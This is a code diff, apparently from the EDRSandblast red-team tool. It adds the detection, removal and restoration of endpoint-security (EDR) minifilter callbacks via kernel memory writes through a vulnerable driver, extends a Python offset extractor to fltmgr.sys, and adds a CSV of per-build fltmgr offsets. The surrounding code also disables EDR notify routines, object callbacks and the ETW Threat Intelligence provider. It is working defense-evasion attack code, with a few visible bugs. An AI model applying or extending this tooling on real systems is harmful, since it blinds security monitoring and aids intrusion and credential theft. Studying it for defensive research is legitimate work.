|
||||||
}
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf_or_not(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||||
|
}
|
||||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||||
i++;
|
i++;
|
||||||
if (i > argc) {
|
if (i > argc) {
|
||||||
@@ -446,8 +460,8 @@ Dump options:\n\
|
|||||||
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
|
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
|
||||||
}
|
}
|
||||||
|
|
||||||
_putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives..."));
|
_putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe..."));
|
||||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
|
||||||
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
||||||
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
||||||
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
|
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
|
||||||
@@ -483,6 +497,14 @@ Dump options:\n\
|
|||||||
PrintNtoskrnlOffsets();
|
PrintNtoskrnlOffsets();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
|
||||||
|
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
|
||||||
|
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
|
||||||
|
}
|
||||||
|
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||||
LPTSTR serviceNameIfAny = NULL;
|
LPTSTR serviceNameIfAny = NULL;
|
||||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
|
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
|
||||||
@@ -518,6 +540,7 @@ Dump options:\n\
|
|||||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
||||||
if (foundNotifyRoutineCallbacks) {
|
if (foundNotifyRoutineCallbacks) {
|
||||||
isSafeToExecutePayloadKernelland = FALSE;
|
isSafeToExecutePayloadKernelland = FALSE;
|
||||||
@@ -532,6 +555,19 @@ Dump options:\n\
|
|||||||
}
|
}
|
||||||
_putts_or_not(TEXT(""));
|
_putts_or_not(TEXT(""));
|
||||||
|
|
||||||
|
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
|
||||||
|
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
|
||||||
|
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
|
||||||
|
|
||||||
|
if (foundMinifilterCallbacks) {
|
||||||
|
#if WriteMemoryPrimitiveIsAtomic
|
||||||
|
isSafeToExecutePayloadKernelland = FALSE;
|
||||||
|
#else
|
||||||
|
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
_putts_or_not(TEXT(""));
|
||||||
|
|
||||||
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
|
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
|
||||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||||
@@ -826,7 +862,13 @@ Dump options:\n\
|
|||||||
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||||
_putts_or_not(TEXT(""));
|
_putts_or_not(TEXT(""));
|
||||||
}
|
}
|
||||||
|
#if WriteMemoryPrimitiveIsAtomic
|
||||||
|
if (foundMinifilterCallbacks) {
|
||||||
|
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
|
||||||
|
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
|
||||||
|
_putts_or_not(TEXT(""));
|
||||||
|
}
|
||||||
|
#endif
|
||||||
/*
|
/*
|
||||||
* 2/3 : Starting "resursively" our process.
|
* 2/3 : Starting "resursively" our process.
|
||||||
*/
|
*/
|
||||||
@@ -865,7 +907,13 @@ Dump options:\n\
|
|||||||
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||||
_putts_or_not(TEXT(""));
|
_putts_or_not(TEXT(""));
|
||||||
}
|
}
|
||||||
|
#if WriteMemoryPrimitiveIsAtomic
|
||||||
|
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
|
||||||
|
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
|
||||||
|
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
|
||||||
|
_putts_or_not(TEXT(""));
|
||||||
|
}
|
||||||
|
#endif
|
||||||
// Renable the ETW Threat Intel provider.
|
// Renable the ETW Threat Intel provider.
|
||||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||||
if (ETWTIState) {
|
if (ETWTIState) {
|
||||||
|
|||||||
@@ -6,8 +6,10 @@
|
|||||||
#include "ETWThreatIntel.h"
|
#include "ETWThreatIntel.h"
|
||||||
#include "FileUtils.h"
|
#include "FileUtils.h"
|
||||||
#include "Firewalling.h"
|
#include "Firewalling.h"
|
||||||
|
#include "FltmgrOffsets.h"
|
||||||
#include "KernelCallbacks.h"
|
#include "KernelCallbacks.h"
|
||||||
#include "KernelMemoryPrimitives.h"
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "MinifilterCallbacks.h"
|
||||||
#include "PrintFunctions.h"
|
#include "PrintFunctions.h"
|
||||||
#include "ProcessDump.h"
|
#include "ProcessDump.h"
|
||||||
#include "ProcessDumpDirectSyscalls.h"
|
#include "ProcessDumpDirectSyscalls.h"
|
||||||
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
|
|||||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
||||||
EDRSB_STATUS status;
|
EDRSB_STATUS status;
|
||||||
BOOL driverInstallRequired = FALSE;
|
BOOL driverInstallRequired = FALSE;
|
||||||
BOOL kernelOffsetsLoaded = FALSE;
|
|
||||||
ctx->config = config;
|
ctx->config = config;
|
||||||
|
|
||||||
if (config->actions.ProtectProcess) {
|
if (config->actions.ProtectProcess) {
|
||||||
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
|||||||
if (config->bypassMode.Krnlmode) {
|
if (config->bypassMode.Krnlmode) {
|
||||||
status = _LoadNtosKrnlOffsets(ctx);
|
status = _LoadNtosKrnlOffsets(ctx);
|
||||||
if (status != EDRSB_SUCCESS) {
|
if (status != EDRSB_SUCCESS) {
|
||||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
_tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
else {
|
BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
|
||||||
kernelOffsetsLoaded = TRUE;
|
if (!success) {
|
||||||
|
_tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||||
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
driverInstallRequired = TRUE;
|
driverInstallRequired = TRUE;
|
||||||
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
|||||||
BOOL isSafeToExecutePayload = TRUE;
|
BOOL isSafeToExecutePayload = TRUE;
|
||||||
BOOL foundNotifyRoutineCallbacks;
|
BOOL foundNotifyRoutineCallbacks;
|
||||||
BOOL foundObjectsCallbacks;
|
BOOL foundObjectsCallbacks;
|
||||||
|
BOOL foundMinifilterCallbacks;
|
||||||
BOOL isETWTICurrentlyEnabled;
|
BOOL isETWTICurrentlyEnabled;
|
||||||
|
|
||||||
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
|
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
|
||||||
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
|||||||
ctx->foundNotifyRoutineCallbacks = TRUE;
|
ctx->foundNotifyRoutineCallbacks = TRUE;
|
||||||
}
|
}
|
||||||
if (ctx) {
|
if (ctx) {
|
||||||
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
|
_tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
|
||||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
|
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
|||||||
}
|
}
|
||||||
if (ctx) {
|
if (ctx) {
|
||||||
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||||
|
_putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
|
||||||
|
}
|
||||||
|
|
||||||
|
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
|
||||||
|
if (ctx && foundMinifilterCallbacks) {
|
||||||
|
ctx->foundMinifilterCallbacks = TRUE;
|
||||||
|
}
|
||||||
|
if (ctx) {
|
||||||
|
_tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx) {
|
if (ctx) {
|
||||||
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
|||||||
ctx->krnlmodeMonitoringEnumDone = TRUE;
|
ctx->krnlmodeMonitoringEnumDone = TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
|
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
|
||||||
status = EDRSB_KNRL_MONITORING;
|
status = EDRSB_KNRL_MONITORING;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
|||||||
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ctx->foundMinifilterCallbacks) {
|
||||||
|
_putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
|
||||||
|
RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
|
||||||
|
}
|
||||||
|
|
||||||
if (ctx->isETWTICurrentlyEnabled) {
|
if (ctx->isETWTICurrentlyEnabled) {
|
||||||
DisableETWThreatIntelProvider(ctx->config->verbose);
|
DisableETWThreatIntelProvider(ctx->config->verbose);
|
||||||
ctx->isETWTICurrentlyEnabled = FALSE;
|
ctx->isETWTICurrentlyEnabled = FALSE;
|
||||||
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
|||||||
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
|
||||||
|
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
|
||||||
|
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||||
|
}
|
||||||
|
|
||||||
// Renable the ETW Threat Intel provider.
|
// Renable the ETW Threat Intel provider.
|
||||||
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
|
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
|
||||||
EnableETWThreatIntelProvider(ctx->config->verbose);
|
EnableETWThreatIntelProvider(ctx->config->verbose);
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
|
|||||||
BOOL krnlmodeMonitoringEnumDone;
|
BOOL krnlmodeMonitoringEnumDone;
|
||||||
BOOL foundNotifyRoutineCallbacks;
|
BOOL foundNotifyRoutineCallbacks;
|
||||||
BOOL foundObjectCallbacks;
|
BOOL foundObjectCallbacks;
|
||||||
|
BOOL foundMinifilterCallbacks;
|
||||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
|
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
|
||||||
BOOL isETWTISystemEnabled;
|
BOOL isETWTISystemEnabled;
|
||||||
BOOL isETWTICurrentlyEnabled;
|
BOOL isETWTICurrentlyEnabled;
|
||||||
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
|
|||||||
*/
|
*/
|
||||||
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
|
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Path of the CSV file that contains the needed offsets for minifilter enum and bypass
|
||||||
|
* If NULL, tries to load FltmgrOffsets.csv
|
||||||
|
* If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
|
||||||
|
*/
|
||||||
|
LPWSTR fltmgrOffsetFilePath;
|
||||||
/*
|
/*
|
||||||
* Path of the CSV file that contains the needed offsets for credential guard related operations
|
* Path of the CSV file that contains the needed offsets for credential guard related operations
|
||||||
* If NULL, tries to load WdigestOffsets.csv
|
* If NULL, tries to load WdigestOffsets.csv
|
||||||
|
|||||||
@@ -177,6 +177,7 @@ ci_17763-4644.dll,36d58,4bb30
|
|||||||
ci_17763-4737.dll,36d58,4bb30
|
ci_17763-4737.dll,36d58,4bb30
|
||||||
ci_17763-4840.dll,36d58,4bb30
|
ci_17763-4840.dll,36d58,4bb30
|
||||||
ci_17763-4974.dll,36d58,4bb30
|
ci_17763-4974.dll,36d58,4bb30
|
||||||
|
ci_17763-5122.dll,36d58,4bb30
|
||||||
ci_17763-10458.dll,36d18,4ba70
|
ci_17763-10458.dll,36d18,4ba70
|
||||||
ci_17763-10877.dll,36d18,4bae0
|
ci_17763-10877.dll,36d18,4bae0
|
||||||
ci_18362-1.dll,37278,4c600
|
ci_18362-1.dll,37278,4c600
|
||||||
|
|||||||
|
+41
-21
@@ -17,8 +17,12 @@ THREADS_LIMIT = None
|
|||||||
CSVLock = threading.Lock()
|
CSVLock = threading.Lock()
|
||||||
|
|
||||||
machineType = dict(x86=332, x64=34404)
|
machineType = dict(x86=332, x64=34404)
|
||||||
knownImageVersions = dict(ntoskrnl=list(), wdigest=list(), ci=list())
|
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
|
||||||
extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll", ci="dll")
|
modes = [image_name.split(".")[0] for image_name in supported_images]
|
||||||
|
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
|
||||||
|
known_image_versions = {mode: list() for mode in modes}
|
||||||
|
modes_by_imagename = dict(zip(supported_images, modes))
|
||||||
|
csvFilenameByMode = {mode: mode.capitalize() + "Offsets.csv" for mode in modes}
|
||||||
|
|
||||||
symbols = dict(
|
symbols = dict(
|
||||||
ntoskrnl=[
|
ntoskrnl=[
|
||||||
@@ -42,8 +46,23 @@ symbols = dict(
|
|||||||
("g_CiOptions", "symbol"),
|
("g_CiOptions", "symbol"),
|
||||||
("CiValidateImageHeader", "symbol"),
|
("CiValidateImageHeader", "symbol"),
|
||||||
],
|
],
|
||||||
|
fltmgr=[
|
||||||
|
("FltGlobals", "symbol"),
|
||||||
|
("_GLOBALS", "FrameList", "field"),
|
||||||
|
("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
|
||||||
|
("_FLTP_FRAME", "Links", "field"),
|
||||||
|
("_FLTP_FRAME", "RegisteredFilters", "field"),
|
||||||
|
("_FLT_OBJECT", "PrimaryLink", "field"),
|
||||||
|
("_FLT_FILTER", "DriverObject", "field"),
|
||||||
|
("_FLT_FILTER", "InstanceList", "field"),
|
||||||
|
("_DRIVER_OBJECT", "DriverInit", "field"),
|
||||||
|
("_FLT_INSTANCE", "CallbackNodes", "field"),
|
||||||
|
("_FLT_INSTANCE", "FilterLink", "field"),
|
||||||
|
],
|
||||||
)
|
)
|
||||||
|
|
||||||
|
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
|
||||||
|
|
||||||
|
|
||||||
def find(key: str, d: dict):
|
def find(key: str, d: dict):
|
||||||
for k, v in d.items():
|
for k, v in d.items():
|
||||||
@@ -252,12 +271,10 @@ def extractOffsets(input_file, output_file, mode):
|
|||||||
export_directory_rva = export_directory_entry.VirtualAddress
|
export_directory_rva = export_directory_entry.VirtualAddress
|
||||||
image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4)
|
image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4)
|
||||||
name = pe.get_string_at_rva(image_name_rva).decode().lower()
|
name = pe.get_string_at_rva(image_name_rva).decode().lower()
|
||||||
if "ntoskrnl.exe" in name:
|
for image_name in supported_images:
|
||||||
imageType = "ntoskrnl"
|
if image_name in name:
|
||||||
elif "wdigest.dll" in name:
|
imageType = modes_by_imagename[image_name]
|
||||||
imageType = "wdigest"
|
break
|
||||||
elif "ci.dll" in name:
|
|
||||||
imageType = "ci"
|
|
||||||
else:
|
else:
|
||||||
print(f"[*] File {input_file} unrecognized")
|
print(f"[*] File {input_file} unrecognized")
|
||||||
return
|
return
|
||||||
@@ -274,7 +291,7 @@ def extractOffsets(input_file, output_file, mode):
|
|||||||
extension = extensions_by_mode[imageType]
|
extension = extensions_by_mode[imageType]
|
||||||
imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}"
|
imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}"
|
||||||
|
|
||||||
if imageVersion in knownImageVersions[imageType]:
|
if imageVersion in known_image_versions[imageType]:
|
||||||
print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})")
|
print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})")
|
||||||
try:
|
try:
|
||||||
"""
|
"""
|
||||||
@@ -296,7 +313,7 @@ def extractOffsets(input_file, output_file, mode):
|
|||||||
for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-")
|
for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-")
|
||||||
)
|
)
|
||||||
imageVersion = input_file_basename
|
imageVersion = input_file_basename
|
||||||
if imageVersion in knownImageVersions[imageType]:
|
if imageVersion in known_image_versions[imageType]:
|
||||||
return
|
return
|
||||||
print("\r", end="") # Not skipping after all
|
print("\r", end="") # Not skipping after all
|
||||||
except ValueError:
|
except ValueError:
|
||||||
@@ -330,7 +347,7 @@ def extractOffsets(input_file, output_file, mode):
|
|||||||
|
|
||||||
# print("wrote into CSV !")
|
# print("wrote into CSV !")
|
||||||
del pdb
|
del pdb
|
||||||
knownImageVersions[imageType].append(imageVersion)
|
known_image_versions[imageType].append(imageVersion)
|
||||||
print(f"[+] Finished processing of {imageType} {input_file}!")
|
print(f"[+] Finished processing of {imageType} {input_file}!")
|
||||||
|
|
||||||
except PEFormatError as e:
|
except PEFormatError as e:
|
||||||
@@ -381,22 +398,25 @@ def sortOutputFile(csvFile):
|
|||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
|
|
||||||
|
modes_str = "/".join(known_image_versions)
|
||||||
|
files = " / ".join(modes_by_imagename)
|
||||||
|
csvfiles = " / ".join(csvFilenameByMode.values())
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"mode",
|
"mode",
|
||||||
help='"ntoskrnl", "wdigest" or "ci". Mode to download and extract offsets from either ntoskrnl.exe, wdigest.dll or ci.dll',
|
help=f"{modes_str}. Mode to download and extract offsets from either {files}",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-i",
|
"-i",
|
||||||
"--input",
|
"--input",
|
||||||
dest="input",
|
dest="input",
|
||||||
required=True,
|
required=True,
|
||||||
help="Single file or directory containing ntoskrnl.exe / wdigest.dll / ci.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.",
|
help=f"Single file or directory containing {files} to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-o",
|
"-o",
|
||||||
"--output",
|
"--output",
|
||||||
dest="output",
|
dest="output",
|
||||||
help="CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv / CiOffsets.csv in the current folder.",
|
help=f"CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to {csvfiles} in the current folder.",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-d",
|
"-d",
|
||||||
@@ -408,20 +428,20 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
mode = args.mode.lower()
|
mode = args.mode.lower()
|
||||||
if mode not in knownImageVersions:
|
if mode not in known_image_versions:
|
||||||
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl", "wdigest" and "ci"')
|
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: {modes}')
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
# If the output file exists, load the already analyzed image versions.
|
# If the output file exists, load the already analyzed image versions.
|
||||||
# Otherwise, write CSV headers to the new file.
|
# Otherwise, write CSV headers to the new file.
|
||||||
if not args.output:
|
if not args.output:
|
||||||
args.output = mode.capitalize() + "Offsets.csv"
|
args.output = csvFilenameByMode[mode]
|
||||||
if os.path.isfile(args.output):
|
if os.path.isfile(args.output):
|
||||||
loadOffsetsFromCSV(knownImageVersions[mode], args.output)
|
loadOffsetsFromCSV(known_image_versions[mode], args.output)
|
||||||
print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"')
|
print(f'[+] Loaded {len(known_image_versions[mode])} known {mode} versions from "{args.output}"')
|
||||||
else:
|
else:
|
||||||
with open(args.output, "w") as output:
|
with open(args.output, "w") as output:
|
||||||
output.write(mode + "Version," + ",".join(elem[0] for elem in symbols[mode]) + "\n")
|
output.write(mode + "Version," + ",".join(elem for elem in symbols_names[mode]) + "\n")
|
||||||
|
|
||||||
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
|
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
|
||||||
# The symbols for each version will be downloaded from the Microsoft symbols servers.
|
# The symbols for each version will be downloaded from the Microsoft symbols servers.
|
||||||
@@ -431,7 +451,7 @@ if __name__ == "__main__":
|
|||||||
print("[!] ERROR : in download mode, -i / --input option must specify a folder")
|
print("[!] ERROR : in download mode, -i / --input option must specify a folder")
|
||||||
exit(1)
|
exit(1)
|
||||||
extension = extensions_by_mode[mode]
|
extension = extensions_by_mode[mode]
|
||||||
downloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input)
|
downloadPEFileFromMS(mode, extension, known_image_versions[mode], args.input)
|
||||||
|
|
||||||
# Extract the offsets from the specified file or the folders containing image files.
|
# Extract the offsets from the specified file or the folders containing image files.
|
||||||
extractOffsets(args.input, args.output, mode)
|
extractOffsets(args.input, args.output, mode)
|
||||||
|
|||||||
@@ -0,0 +1,90 @@
|
|||||||
|
fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
|
||||||
|
fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
